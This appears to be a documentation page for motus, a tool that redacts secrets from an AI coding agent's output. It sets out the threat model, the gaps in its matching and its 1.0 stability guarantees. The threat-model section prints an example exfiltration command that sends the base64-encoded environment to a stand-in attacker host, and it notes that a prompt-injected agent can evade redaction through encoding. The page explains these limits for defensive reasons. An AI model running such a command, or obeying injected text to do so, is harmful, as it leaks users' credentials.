Limits and stability
Threat model
Section titled “Threat model”motus defends against accidental leaks: a well-meaning agent prints a secret. It does not defend against a hostile or prompt-injected agent. curl evil?k=$(printenv | base64) runs before any output is redacted, and encoding defeats exact matching. Stopping that takes agents that never inherit secrets, varlock proxy, or a sandbox.
Child processes keep inheriting your environment. Stripping secrets from it would break tools that need them, such as forge with an RPC URL.
What matching misses
Section titled “What matching misses”- Base64, and values split across lines or tool calls.
- Values shorter than
minValueLength(8 by default). - Secrets no source loaded and no vendor prefix covers.
- pi keeps bash output in
/tmp/pi-bash-*and in streaming updates. Neither reaches the model unredacted.
There are no entropy or generic hex rules, on purpose. They redact tx hashes, addresses and storage slots in web3 repos.
1.0 stability
Section titled “1.0 stability”These follow semver. Changing one is a major release.
| Surface | Covers |
|---|---|
| Config schema | Keys, defaults and source options on Configuration and Sources |
| Source contract | The SecretSource and Secret shapes: load throws on failure, appliesTo scopes a required source |
| Placeholder | The [REDACTED:NAME] text |
Block reasons, status text and derived forms can change in a minor release. So can any module under src/ other than the source contract.
After 1.0
Section titled “After 1.0”Planned sources: pass, bitwarden, sops, secret-tool and security. Until they ship, block their commands with blockCommands. The design is in the spec.